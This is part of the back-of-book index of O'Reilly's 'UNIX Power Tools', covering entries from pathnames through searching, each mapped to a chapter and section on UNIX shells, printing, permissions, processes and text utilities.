in uppercase : 52.5.3.4. Installing a Single Program
links and : 18.6. Stale Symbolic Links
parsing directory name from : 16.17. Getting Directory Name from a File's Pathname
relative : 2.6. Use Absolute Pathnames in Shell Setup Files
relative vs. absolute : 14.2. Using Relative and Absolute Pathnames
stripped from filenames : 45.18.1. Introduction to basename and dirname
symbols in : 44.15.1. With the $@"
on tape drives : 20.4.1. Restoring a Few Files
tar archives and : 20.8.2. Type Pathnames Exactly
tar command and : 20.10. Avoid Absolute Paths with tar
wildcards and : 15.1. File Naming Wildcards
wildcards in : 15.6. Maybe You Shouldn't Use Wildcards in Pathnames
pattern matching
21.14. Automatically Appending the Date to a Filename
(see also regular expressions; special characters; wildcards)
character sets : 26.4.2. Matching a Character with a Character Set
egrep script for : 27.7. grepping for a List of Patterns
by exclusion : 26.4.5. Exceptions in a Character Set
in case statements : 44.6. Pattern Matching in case Statements
limiting extent of match : 26.7. Limiting the Extent of a Match
metacharacter examples : 26.8. I Never Meta Character I Didn't Like
quick reference : 26.10. Pattern Matching Quick Reference with Examples
replacement patterns
26.4.11. Extended Regular Expressions
26.10. Pattern Matching Quick Reference with Examples
wildcards : 44.6. Pattern Matching in case Statements
patterns
awk utility : 33.11.2. Patterns and Procedures
ex editor
30.9. Using Search Patterns and Global Commands
30.14. Moving Blocks of Text by Patterns
vi editor
30.9. Using Search Patterns and Global Commands
30.14. Moving Blocks of Text by Patterns
vi editor and : 30.27. vi Compound Searches
Patterson, Dave : 11.14.1. In the C Shell: redo
pbm (portable bitmap) format
defined : 43.25. The Portable Bitmap Package
manipulating : 43.25. The Portable Bitmap Package
PC text files : 35.11. Hacking on Characters with tr
pcal program
48.9. PostScript Calendars with pcal
52.4. Quick Descriptions of What's on the Disc
52.8.2.1. Copying the Sources
calen program versus : 48.8. Calendar for 132-Column Terminals or Printers
per-process transfer rate : 39.12.3. The I/O Subsystem
per-shell files
reading : 40.4. Choosing the Shell Run (We Hope) by at
percent sign : (see %)
performance
csh (C shell) : 2.9. Speeding Up Your C Shell with set prompt Test
dd command an remote tape drives : 20.6. Writing a Tape Drive on a Remote Machine
factors affecting : 39.5. Why Is the System So Slow?
grep commands
27.6. Fast grep Isn't
27.9. New greps Are Much Faster
ksh and bash shells : 2.11. Faster ksh and bash Startup with $- Test
logins : 2.5. Tips for Speeding up Slow Logins
users and : 39.12.4. User Communities
period : (see .)
period (.)
regular expression metacharacter : 26.3. Understanding Expressions
periodic execution
scheduling programs for : 40.12. Periodic Program Execution: The cron Facility
Perl : 37.1. What We Do and Don't Tell You About Perl
advantages : 37.2. Why Learn Perl? #1
perl
52.4. Quick Descriptions of What's on the Disc
52.8.1.1. Missing Programs
customizing grep with : 27.12. Make Custom grep Commands (etc.) with perl
perl language
finding text files : 16.26. Finding Text Files with findtext
permissions : 1.23. File Access Permissions
access modes : 4.8. Making Directories Made Easier
changing : 44.2. Writing a Simple Shell Program
copying with cpmod utility : 22.16. Copying Permissions with cpmod
directory
1.25. Access to Directories
22.2. Tutorial on File and Directory Permissions
file
14.14. Automatic Setup When You Enter/Exit a Directory
22.7. Using chmod to Change File Permission
group : (see groups)
managing : 22.15. Juggling Permissions
modifying files without write access : 22.11. A Loophole: Modifying Files Without Write Access
scripts and : 22.19. Shell Scripts Must be Readable and (Usually) Executable
scripts for changing : 22.10. cx, cw, c-w: Quick File Permission Changes
set incorrectly : 8.1. What the Shell Does
setgid bit and : 22.5. Group Permissions in a Directory with the setgid Bit
sticky bit : 22.6. Protecting Files with the Sticky Bit
umask command and
14.14. Automatic Setup When You Enter/Exit a Directory
22.2.1. User, Group, and World
22.4. Setting an Exact umask
permissions, file
21.14. Automatically Appending the Date to a Filename
(see also encryption; groups)
(see also
searching by
17.10. Running Commands on What You Find
17.15. Searching for Files by Permission
personal crontab files : 40.5. Avoiding Other at and cron Jobs
personal files/directories
4.5. Private (Personal) Directories
4.7. Make More Directories!
personal wordlist, ispell program : 29.5. Adding Words to ispell's Dictionary
pgm (graymap) format
defined : 43.25. The Portable Bitmap Package
manipulating : 43.25. The Portable Bitmap Package
phone
on PowerTools disk : 48.2. Online Phone and Address Lists
phone lists, creating : 48.2. Online Phone and Address Lists
phone script : 52.4. Quick Descriptions of What's on the Disc
physical memory
running out of
39.5. Why Is the System So Slow?
39.12.2. The Memory Subsystem
pick script
38.13. Interactively Kill Processes Matching a Pattern
52.4. Quick Descriptions of What's on the Disc
PID (process ID) : 38.16. Why You Can't Kill a Zombie
pipe : (see | (vertical bar))
pipegrep script
27.13. More grep-like Programs Written in Perl
52.4. Quick Descriptions of What's on the Disc
pipelines
44.7. Exit Status of UNIX Processes
(see also | (vertical bar))
in Bourne shell : 47.2.1.4. More Elaborate Combinations
in C shell : 47.2.1.4. More Elaborate Combinations
exit status of : 44.7. Exit Status of UNIX Processes
starting with cat command : 1.4. Using Pipes to Create a New Tool
pipes
1.3. Programs Are Designed to Work Together
1.30. Redirecting Input and Output
commands joined with : 44.2. Writing a Simple Shell Program
creatig new tools : 1.4. Using Pipes to Create a New Tool
to pagers : 13.4. Problems Piping to a Pager
ps command in : 38.5. The ps Command
redirecting input/output : 13.1. Using Standard Input and Output
pnm graphic format : 43.25. The Portable Bitmap Package
manipulating : 43.25. The Portable Bitmap Package
popd command
7.11. dirs in Your Prompt: Better than $cwd
14.6. The Shells' pushd and popd Commands
14.14. Automatic Setup When You Enter/Exit a Directory
port settings
problems with : 42.4. Checklist for Resetting a Messed Up Terminal
PostScript files
forming signatures : 43.24. Other PostScript Utilities
multiple pages per sheet : 43.24. Other PostScript Utilities
psbook program : 43.24. Other PostScript Utilities
psnup program : 43.24. Other PostScript Utilities
pstops program : 43.24. Other PostScript Utilities
rearranging pages : 43.24. Other PostScript Utilities
selected pages : 43.23. psselect: Print Some Pages from a PostScript file
PostScript files:converting : 43.23. psselect: Print Some Pages from a PostScript file
PostScript files:fit to bounding box
10n : 43.24. Other PostScript Utilities
PostScript files:merging : 43.24. Other PostScript Utilities
PostScript files:printing pages from : 43.23. psselect: Print Some Pages from a PostScript file
PostScript files:rearranging pages in
10n : 43.24. Other PostScript Utilities
PostScript files:rearranging resources in : 43.24. Other PostScript Utilities
PostScript files:resizing pages in
10n : 43.24. Other PostScript Utilities
PostScript files:utilities for working with : 43.23. psselect: Print Some Pages from a PostScript file
Other PostScript Utilities : 43.24. Other PostScript Utilities
PostScript format documentation : 52.5.3.4. Installing a Single Program
PostScript source file extension : 1.17. Filename Extensions
pound sign : (see #)
power tools
data-independent : 1.3. Programs Are Designed to Work Together
for editing : 1.6. Power Tools for Editing
Power Tools CD-ROM : 52.1. Introduction
ppm (pixmap) format : 43.25. The Portable Bitmap Package
ppm (pixmap) format, manipulating : 43.25. The Portable Bitmap Package
pr -t -e command : 41.4.1. TAB Is Just Another Character to UNIX
pr command
35.17. Making Text in Columns with pr
43.7. Quick-and-Dirty Formatting Before Printing
43.10. Filename Headers Above Files Without pr
-n option : 25.21. Numbering Lines
-t option : 25.21. Numbering Lines
pre-compiled binaries : 52.5.3. Installing Pre-Compiled Binaries
predefined environment variables : 6.3. Predefined Environment Variables
print command (awk) : 33.11.7. Alphabetical Summary of Commands
printenv command
6.1. What Environment Variables Are Good For
6.8. Shell Variables
14.10. Variables Help You Find Directories and Files
52.4. Quick Descriptions of What's on the Disc
PRINTER environment variable : 6.3. Predefined Environment Variables
printf command : 52.4. Quick Descriptions of What's on the Disc
printf command (awk) : 33.11.7. Alphabetical Summary of Commands
printf utility : 8.6.1. Portability
printf() format conversions : 45.11. The Multipurpose jot Command
printing
21.14. Automatically Appending the Date to a Filename
(see also typesettting)
banner command : 43.11. Big Letters: banner
banners : 43.11. Big Letters: banner
Berkeley commands for : 43.2.2. Berkeley Printing Commands
breaking long lines : 43.8. Fixing Margins with pr and fold
checking job status : 43.3. Printer Control with lpc
enscript program : 43.22. Converting Text Files to PostScript
filename headers : 43.10. Filename Headers Above Files Without pr
files : 9.5. Build Strings with { }
fold command : 43.8. Fixing Margins with pr and fold
folding lines : 43.8. Fixing Margins with pr and fold
formatting output : 43.7. Quick-and-Dirty Formatting Before Printing
from sc program
49.8. It's Great to Have a Spreadsheet
49.9. Business Graphics with ipl
graphics
49.9. Business Graphics with ipl
(see graphics)
help for : 43.3. Printer Control with lpc
indents
43.7. Quick-and-Dirty Formatting Before Printing
43.9. Indenting Text for Printing
lp spooler, defined : 43.1. Introduction to Printing
lpc controls : 43.3. Printer Control with lpc
lpr spooler, defined : 43.1. Introduction to Printing
macro files for : 43.15. From a Source File to the Printer
margins : 43.8. Fixing Margins with pr and fold
page breaks : 43.7. Quick-and-Dirty Formatting Before Printing
PostScript files : 43.24. Other PostScript Utilities
defined : 43.1. Introduction to Printing
forming signatures : 43.24. Other PostScript Utilities
multiple pages per sheet : 43.24. Other PostScript Utilities
ps book program : 43.24. Other PostScript Utilities
psnup program : 43.24. Other PostScript Utilities
pstops program : 43.24. Other PostScript Utilities
rearranging pages : 43.24. Other PostScript Utilities
selected pages : 43.23. psselect: Print Some Pages from a PostScript file
pr command : 43.10. Filename Headers Above Files Without pr
pr commands : 43.7. Quick-and-Dirty Formatting Before Printing
preprocessors : 43.15. From a Source File to the Printer
printer destination : 43.4. Using Different Printers
processing path : 43.15. From a Source File to the Printer
psselect program : 43.23. psselect: Print Some Pages from a PostScript file
pstext program : 43.22. Converting Text Files to PostScript
quitting : 43.3. Printer Control with lpc
restarting printers : 43.3. Printer Control with lpc
self-printing scripts : 45.4. Fun with #!
SPOOL (Simultaneous Printing Off and On Line) : 43.1. Introduction to Printing
spooling system : 43.1. Introduction to Printing
symbolic links : 43.5. Using Symbolic Links for Spooling
suppressing blank lines : 43.10. Filename Headers Above Files Without pr
System V commands for : 43.2.1. System V Printing Commands
text files as PostScript : 43.22. Converting Text Files to PostScript
to terminal printer : 43.6. Printing to a Terminal Printer
wrapping lines : 43.8. Fixing Margins with pr and fold
priocntl command : 39.9. Know When to Be "nice" to OTher Users...and When
priority
defined in UNIX : 39.9. Know When to Be "nice" to OTher Users...and When
private files/directories
4.5. Private (Personal) Directories
4.7. Make More Directories!
process groups : 38.3. Managing Processes: Overall Concepts
process ID (PID)
38.3. Managing Processes: Overall Concepts
38.16. Why You Can't Kill a Zombie
process ID number
examples : 44.12. Trapping Exits Caused by Interrupts
process IDs (PIDs) : 16.16. Picking a Unique Filename Automatically
process substitution : 9.18. Process Substitution
processes
38.3. Managing Processes: Overall Concepts
(see also child processes)
actions caused by signals : 38.8. What Are Signals?
automatically killing background : 38.17. Automatically Kill Background Processes on Logout in csh
changing the priority of : 39.11. Changing a Job's Priority Under BSD UNIX
cleaning up unkillable : 38.15. Cleaning Up an Unkillable Process
destroying with kill : 38.10. Destroying Processes with kill
displaying all on the system : 38.13. Interactively Kill Processes Matching a Pattern
exit status returned by : 38.3. Managing Processes: Overall Concepts
in the foreground : 38.3. Managing Processes: Overall Concepts
interactively killing those matching a pattern : 38.13. Interactively Kill Processes Matching a Pattern
killing : 38.3. Managing Processes: Overall Concepts
killing all : 38.12. Killing All Your Processes
managing : 38.3. Managing Processes: Overall Concepts
modifying the scheduling priority of time-sharing : 39.9. Know When to Be "nice" to OTher Users...and When
reducing priority of CPU-bound : 39.9. Know When to Be "nice" to OTher Users...and When
running in the background : 38.3. Managing Processes: Overall Concepts
stopping : 38.14. Processes Out of Control? Just STOP Them
processes, spawning : 38.2. fork and exec
.profile file
2.2.1. Bourne Shell
2.2.3. Korn Shell
2.8. Identifying Login Shells
2.12. Automatic Setups for Different Terminals
hung terminal and : 5.6. Checklist: Terminal Hangs When I Log In
prompt settings : 7.12. External Commands Send Signals to Set Variables
stty commands in : 5.9. Setting Your Erase, Kill, and Interrupt Characters
program environment
modifying : 44.23. Reading Files with the . and source Commands
program names
error messages including : 44.22. Finding a Program Name; Multiple Program Names
links to
44.22. Finding a Program Name; Multiple Program Names
45.13. Save Disk Space and Programming: Multiple Names for a Program
multiple : 45.13. Save Disk Space and Programming: Multiple Names for a Program
program's total running time
components contributing to : 39.5. Why Is the System So Slow?
programmers, virtues of : 37.3. Three Great Virtues of a Programmer
programs
aborting : 42.2.5. Aborting Programs
awf : 43.17. Don't Have nroff? Try gnroff or awf
ditroff : 43.13. The Text Formatters nroff, troff, ditroff, ...
enscript : 43.22. Converting Text Files to PostScript
gnroff : 43.17. Don't Have nroff? Try gnroff or awf
groff : 43.16. groff
links to : 45.13. Save Disk Space and Programming: Multiple Names for a Program
look : 27.18. Fast Searches and Spelling Checks with "look"
making executable by using # : 45.4. Fun with #!
nroff : 43.13. The Text Formatters nroff, troff, ditroff, ...
macros : 43.14. nroff/troff and Macro Packages
psbook : 43.24. Other PostScript Utilities
psnup : 43.24. Other PostScript Utilities
psselect : 43.23. psselect: Print Some Pages from a PostScript file
pstops : 43.24. Other PostScript Utilities
scheduling for periodic execution : 40.12. Periodic Program Execution: The cron Facility
Scribe : 43.12.3. Scribe
TeX : 43.12.2. TeX
time spent running other : 39.5. Why Is the System So Slow?
timing : 39.2. Timing Programs
waiting for input : 42.2.3. Program Waiting for Input?
WYSIWYG programs : 43.12.3. Scribe
programs pstext : 43.22. Converting Text Files to PostScript
programs, timing : 39.2. Timing Programs
prompt character
customizing : 1.9. Which Shell Am I Running?
identifying shell : 44.3.5. Bourne Shell Used Here
prompt shell variable
6.9. Special C Shell Variables
7.2. Basics of Setting the Prompt
PROMPT_COMMAND variable : 7.13. Pre-Prompt Commands in bash
promptpid variable : 7.12. External Commands Send Signals to Set Variables
prompts
backspacing over : 41.5. Why Some Systems Backspace over Prompts
shell prompts : 7.1. Why Change Your Prompt?
ps : 39.12.2. The Memory Subsystem
reporting of network statistics : 39.12.3. The I/O Subsystem
ps -ag command : 38.13. Interactively Kill Processes Matching a Pattern
ps -aux command (BSD UNIX) : 38.5. The ps Command
ps -ef command (System V)
listing produced by : 38.5. The ps Command
ps command
2.16. Approved Shells: Using Unapproved Login Shell
38.5. The ps Command
AIX version of : 38.5. The ps Command
displaying programs : 42.2.5. Aborting Programs
example : 1.14. The Kernel and Daemons
in pipes : 38.5. The ps Command
listing of command output fields : 38.5. The ps Command
ps commands
printing commands in parentheses : 38.7. Why ps Prints Some Commands in Parentheses
.ps filename extension : 1.17. Filename Extensions
PS1 environment variable
6.3. Predefined Environment Variables
6.9. Special C Shell Variables
7.2. Basics of Setting the Prompt
PS2 environment variable
6.3. Predefined Environment Variables
6.9. Special C Shell Variables
psbook program : 43.24. Other PostScript Utilities
pseudo teletypes (ptys) : 41.2.1. How We Made It This Far (Back?)
pseudo-terminal : 38.6. The Controlling Terminal
pseudo-terminals (ptys) : 41.8. ptys and Window Systems
psmerge program : 43.24. Other PostScript Utilities
psnup program : 43.24. Other PostScript Utilities
psresize program : 43.24. Other PostScript Utilities
psselect program : 43.23. psselect: Print Some Pages from a PostScript file
pstat : 39.12.2. The Memory Subsystem
pstext program
43.22. Converting Text Files to PostScript
52.4. Quick Descriptions of What's on the Disc
pstops program : 43.24. Other PostScript Utilities
PSUtils
43.23. psselect: Print Some Pages from a PostScript file
43.24. Other PostScript Utilities
psutils : 52.4. Quick Descriptions of What's on the Disc
psychoanalyze-pinhead command : 32.13. An Absurd Amusement
pty : 38.6. The Controlling Terminal
ptys (pseudo teletypes) : 41.2.1. How We Made It This Far (Back?)
ptys (pseudo-terminals) : 41.8. ptys and Window Systems
ptys command : 41.1. Delving a Little Deeper
punctuation in filenames : 1.15. Filenames
purge program : 52.4. Quick Descriptions of What's on the Disc
pushd comman : 7.11. dirs in Your Prompt: Better than $cwd
pushd command : 14.14. Automatic Setup When You Enter/Exit a Directory
aliases for : 14.7. Nice Aliases for pushd
pushd commannd : 7.11. dirs in Your Prompt: Better than $cwd
pushd comnmand : 14.6. The Shells' pushd and popd Commands
pushin script
25.13. pushin: Squeeze Out Extra White Space
52.4. Quick Descriptions of What's on the Disc
pwd command
7.4. Faster Prompt Setting with Built-Ins
14.4. How Does UNIX Find Your Current Directory?
PWD environment variable : 6.3. Predefined Environment Variables
Emacs and : 32.9. Unset PWD Before Using Emacs

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

qcsh function
15.3. Adding { } Operators to Korn (and Bourne) Shells
52.4. Quick Descriptions of What's on the Disc
qsubst program
33.10. Quick Globals from the Command Line with qsubst
52.4. Quick Descriptions of What's on the Disc
qterm program
5.5. Querying Your Terminal Type: qterm
52.4. Quick Descriptions of What's on the Disc
52.5.3.4. Installing a Single Program
.qtermtab file : 5.5. Querying Your Terminal Type: qterm
question mark : (see ?)
questions, yes and no (examples) : 45.32. A Better read Command: grabchars
quick login setup : 2.5.1. Quick Login
quieting at jobs : 40.7. Making Your at Jobs Quiet
quit command (ex) : 33.4. Useful ex Commands
quit key : 5.9. Setting Your Erase, Kill, and Interrupt Characters
QUIT signal
38.8. What Are Signals?
38.9. Killing Foreground Jobs
quotes, backquote : (see `)
quotes, double : (see ")
quotes, single : (see ')
quoting
aliases : 10.3. C Shell Aliases with Command-Line Arguments
in Bourne shell (sh)
8.14. Bourne Shell Quoting
47.2.4. Quoting
in C shell (csh)
8.15. Differences Between Bourne and C Shell Quoting
46.7. Quoting and Command-Line Parameters
47.2.4. Quoting
in command-line arguments : 10.3. C Shell Aliases with Command-Line Arguments
command-line parameters : 46.7. Quoting and Command-Line Parameters
csh aliases and
10.7. How to Put if-then-else in a C Shell Alias
10.8. Fix Quoting in csh Aliases with makealias and quote
errors caused by : 46.2. Quoting Trouble? Think, Then Use echo
hereis document terminators : 45.26. Quoted hereis Document Terminators: sh vs. csh
in set command : 44.19. The Bourne Shell set Command

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

rand command (awk) : 33.11.7. Alphabetical Summary of Commands
random number generator
in Bourne shells : 45.11. The Multipurpose jot Command
in C shells : 45.11. The Multipurpose jot Command
jot used for : 45.11. The Multipurpose jot Command
raw mode : 41.2.1. How We Made It This Far (Back?)
rcp command : 1.33. UNIX Networking and Communications
-r option : 18.15. Copying Directory Trees with cp -r
RCS (Revision Control System)
20.12. Protecting Files with SCCS or RCS
20.14. RCS Basics
52.4. Quick Descriptions of What's on the Disc
paging through RCS files : 25.5. Page Through Compressed, RCS, Unprintable Files
searching files : 27.10. Search RCS Files with rcsgrep
rcsegrep.fast script : 52.4. Quick Descriptions of What's on the Disc
rcsgrep script
27.10. Search RCS Files with rcsgrep
52.4. Quick Descriptions of What's on the Disc
rcsless script : 52.4. Quick Descriptions of What's on the Disc
rcsmore script : 52.4. Quick Descriptions of What's on the Disc
rcspg script : 52.4. Quick Descriptions of What's on the Disc
rcsrevs script
20.15. List RCS Revision Numbers with rcsrevs
52.4. Quick Descriptions of What's on the Disc
RD (Receive Data) light : 42.2.4. Stalled Data Connection?
read( ) : 20.6. Writing a Tape Drive on a Remote Machine
read command
9.12. The Bourne Shell for Loop
44.13. read: Reading from the Keyboard
examples : 44.13. read: Reading from the Keyboard
while loops using
45.16. Standard Input to a for Loop
45.22. Handling Files Line-by-Line
read command (ex) : 33.4. Useful ex Commands
read permission
22.2. Tutorial on File and Directory Permissions
22.19. Shell Scripts Must be Readable and (Usually) Executable
execute permission without : 22.12. A Directory that People Can Access but Can't List
read-only files : 22.9. Protect Important Files: Make Them Unwritable
read.base program : 48.10. Working with Names and Addresses
README files : 52.8.2.6. An Easy Build
Ready-to-Run Software
52.5.5. What to Do if You Have Problems
52.7.1. Alternative Media
52.8.2.1. Copying the Sources
contacting : 52.9. Software Support from RTR
software support : 52.9. Software Support from RTR
technical support : 52.8.1.2. Problems
real memory, maximum amount of : 39.3. The csh time variable
real-time priorities : 39.9. Know When to Be "nice" to OTher Users...and When
real-time submission : 39.9.3. System V C Shell nice
recomment script
35.4. recomment: Clean Up Program Comment Blocks
52.4. Quick Descriptions of What's on the Disc
recovering files : 30.24. vi/ex File Recovery vs. Networked Filesystems
recursive aliases : 10.6. Avoiding C Shell Alias Loops
redirecting
csh and : 13.5. Redirection in C Shell: Capture Errors, Too?
file descriptors : 45.21. n>&m: Swap Standard Output and Standard Error
I/O loops : 45.22. Handling Files Line-by-Line
loops : 45.23. The Ins and Outs of Redirected I/O Loops
noclobber variable : 6.9. Special C Shell Variables
standard error
45.20. Overview: Open Files and File Descriptors
45.21. n>&m: Swap Standard Output and Standard Error
47.2.1.1. Writing Files
standard input
1.30. Redirecting Input and Output
13.1. Using Standard Input and Output
45.20. Overview: Open Files and File Descriptors
47.2.1.2. Reading Files
standard output
1.30. Redirecting Input and Output
13.1. Using Standard Input and Output
45.20. Overview: Open Files and File Descriptors
45.21. n>&m: Swap Standard Output and Standard Error
tee program : 13.9. Send Output Two or More Places with tee
while loops : 45.22. Handling Files Line-by-Line
redirecting input/output
tpipe command for : 13.11. tpipe-Redirecting stdout to More than One Place
redo script
11.14.1. In the C Shell: redo
52.4. Quick Descriptions of What's on the Disc
redraw screen command : 42.5. Checklist: Screen Size Messed Up?
regular expressions
21.14. Automatically Appending the Date to a Filename
26.1. That's an Expression
26.3. Understanding Expressions
(see also pattern matching)
extended : 26.4.11. Extended Regular Expressions
metacharacters
for different UNIX programs : 26.9. Valid Metacharacters for Different UNIX Programs
examples of : 26.8. I Never Meta Character I Didn't Like
metacharacters in
8.19. "Special" Characters and Operators
26.4. Using Metacharacters in Regular Expressions
26.10. Pattern Matching Quick Reference with Examples
pattern context : 26.5. Getting Regular Expressions Right
pattern matching quick reference : 26.10. Pattern Matching Quick Reference with Examples
testing : 26.6. Just What Does a Regular Expression Match?
wildcards versus : 26.2. Don't Confuse Regular Expressions with Wildcards
rehash command : 4.2. A bin Directory for Your Programs and Scripts
examples : 44.2. Writing a Simple Shell Program
relational operators : (see operators, relational))
relative pathnames
1.21. Making Pathnames
2.6. Use Absolute Pathnames in Shell Setup Files
14.2. Using Relative and Absolute Pathnames
14.3. What Good Is a Current Directory?
18.6. Stale Symbolic Links
in angle brackets : 52.8.2.7. Functions, Libraries, and Header Files
relink script
18.14. Relinking Multiple Symbolic Links
52.4. Quick Descriptions of What's on the Disc
reminder mail, sending : 40.11. Send Yourself Reminder Mail
remote
directories : 5.6. Checklist: Terminal Hangs When I Log In
echo : 41.2.1. How We Made It This Far (Back?)
restoration from backups : 20.4.2. Remote Restoring
tape drives
20.5. Using tar to a Remote Tape Drive
20.6. Writing a Tape Drive on a Remote Machine
removing
command-line arguments : 44.15.2. With a Loop
open files : 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
self-removing scripts
45.4. Fun with #!
45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
removing files : (see deleting files)
ren command : 52.4. Quick Descriptions of What's on the Disc
ren script : 18.11. Renaming Files with ren
rename script
18.10. There's More than One Way to Do It
52.4. Quick Descriptions of What's on the Disc
renaming files
18.2. What's Really in a Directory
18.9. Renaming, Copying, or Comparing a Set of Files
(see also copying files; moving files)
interactively : 18.12. Renaming a List of Files Interactively
renice command
12.5. System Overloaded? Try Stopping Some Jobs
39.9. Know When to Be "nice" to OTher Users...and When
39.11. Changing a Job's Priority Under BSD UNIX
rep command vs. vis command : 51.7. When You Get Impatient
repeat command : 9.25. The C Shell repeat Command
repeating commands : 11.8. Repeating a Cycle of Commands
report, summarizing execution statistics : 38.5. The ps Command
reset command : 5.11. Initializing the Terminal with tset
resetting terminals : 42.4. Checklist for Resetting a Messed Up Terminal
resident text pages, average kilobytes of : 39.3. The csh time variable
resize (xterm) command : 42.5. Checklist: Screen Size Messed Up?
resources
contention issues : 39.12. What Makes Your Computer Slow? How Do You Fix It?
overloaded : 12.5. System Overloaded? Try Stopping Some Jobs
restart command (lpc) : 43.3. Printer Control with lpc
restarting at jobs automatically : 40.8. Automatically Restarting at Jobs
RETURN characters : (see newline characters)
return command (awk) : 33.11.7. Alphabetical Summary of Commands
RETURN key, not needed with commands : 45.32. A Better read Command: grabchars
revision control programs
file versions and : 1.15. Filenames
Revision Control System : (see RCS)
revision marks : (see execute permissions)
.rhosts file : 20.5. Using tar to a Remote Tape Drive
right angle bracket : (see >)
rlogin utility
1.33. UNIX Networking and Communications
2.4. Tip for Changing Account Setup: Keep a Shell Ready
2.12. Automatic Setups for Different Terminals
stalled connection with : 42.2.4. Stalled Data Connection?
rm command
23.2. rm and Its Dangers
52.4. Quick Descriptions of What's on the Disc
-b option : 21.11. Safer Removing, Moving, and Copying
-f option
23.10. Deletion with Prejudice: rm -f
44.12. Trapping Exits Caused by Interrupts
-i option
21.11. Safer Removing, Moving, and Copying
23.4. Answer "Yes" or "No" Forever with yes
23.5. Remove Some, Leave Some
23.7. Safer File Deletion in Some Directories
rmdir command
23.17. Problems Deleting Directories
52.4. Quick Descriptions of What's on the Disc
root directory
1.19. The Tree Structure of the Filesystem
1.21. Making Pathnames
installation process and : 52.8.2.6. An Easy Build
root user
password for
1.23. File Access Permissions
1.24. The Superuser (Root)
su command and : (see su command)
rot program
35.23. Rotating Text
52.4. Quick Descriptions of What's on the Disc
rotating text : 30.22.2. Filtering Text with vi
rprnt character : 9.3. Reprinting Your Command Line with CTRL-r
rprnt key : 5.9. Setting Your Erase, Kill, and Interrupt Characters
rsh utility
1.33. UNIX Networking and Communications
20.6. Writing a Tape Drive on a Remote Machine
restoring from remote tape drives : 20.5. Using tar to a Remote Tape Drive
rtrpatch.pcal file : 52.8.2.5. Applying Patches
RTS (Request to Send) : 41.2.4. Flow Control (We Hope)
RTS/CTS flow control : 41.2.4. Flow Control (We Hope)
runsed script
4.3. Organizing Nonexecutable Scripts
34.3.2. runsed
52.4. Quick Descriptions of What's on the Disc
runtime script
39.4. Average Command Runtimes with runtime
52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

.s filename extension : 1.17. Filename Extensions
sadp command : 39.12.3. The I/O Subsystem
sar utility : 39.12.2. The Memory Subsystem
savedirs shell variable : 14.6. The Shells' pushd and popd Commands
savehist shell variable
6.9. Special C Shell Variables
11.11. Picking Up Where You Left Off
saving command lines to file : 1.5. Anyone Can Program the Shell
sc program
49.8. It's Great to Have a Spreadsheet
52.4. Quick Descriptions of What's on the Disc
advantages : 49.8. It's Great to Have a Spreadsheet
commands : 49.8. It's Great to Have a Spreadsheet
disadvantages : 49.9. Business Graphics with ipl
ipl program used with : 49.9. Business Graphics with ipl
Microsoft Excel compared to : 49.8. It's Great to Have a Spreadsheet
printing from
49.8. It's Great to Have a Spreadsheet
49.9. Business Graphics with ipl
scale command : 49.1. bc: Simple Math at the Shell Prompt
SCCS (Source Code Control System) : 20.12. Protecting Files with SCCS or RCS
schedules : (see calendar command)
scp shell function : 10.10. Simulated Bourne Shell Functions and Aliases
scratchpad, creating in terminal windows : 48.3. A Scratchpad on Your Screen
screen : (see terminals)
screen program
3.7. Detaching a Session with screen
12.9. Running Multiple Shell Sessions with screen
52.4. Quick Descriptions of What's on the Disc
screen variable : 42.5. Checklist: Screen Size Messed Up?
screensize file
42.6.2. Screen Width and Height: screensize
52.4. Quick Descriptions of What's on the Disc
Scribe program : 43.12.3. Scribe
script interpreters : (see shells)
script program
13.9. Send Output Two or More Places with tee
51.5. Copy What You Do with script
ending : 51.5. Copy What You Do with script
examples : 51.5. Copy What You Do with script
running with lastcomm : 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
script.tidy script
51.6. Cleaning script Files
52.4. Quick Descriptions of What's on the Disc
examples : 51.6. Cleaning script Files
setting control characters : 51.6. Cleaning script Files
scripts : (see shell scripts)
SCROLL LOCK button : 42.2.1. Output Stopped?
scrolling error messages : 13.4. Problems Piping to a Pager
SCSI tapes : 20.6. Writing a Tape Drive on a Remote Machine
SD (Send Data) light : 42.2.4. Stalled Data Connection?
sdiff command
28.4. Side-by-Side diffs: sdiff
28.6. Choosing Sides with sdiff
52.4. Quick Descriptions of What's on the Disc
search path
2.13. A .cshrc.$HOST File for Per Host Setup
44.3.4. Shell Search Paths
setting : 8.7. Setting Your Search Path
specifying : 1.10. Internal and External Commands
search.el file
32.8. Rational Searches
52.4. Quick Descriptions of What's on the Disc
searching
17.1. The find Command Is Great; The Problem Is Finding How to Use It
(see also find command)
by age : 17.5. Searching for Old Files
for commands : 16.10. findcmd: Find a Command in Your Search Path
in databases : 17.19. Finding Files (Much) Faster with a find Database
databases using index : 48.11. The index Database Program
for directories : 14.10. Variables Help You Find Directories and Files
for doubled words : 29.8. Find a a Doubled Word
duplicate files/directories : 16.21. Finding All Directories with the Same Name
file content : (see files, searching)
for file types : 25.8. Finding File Types
files
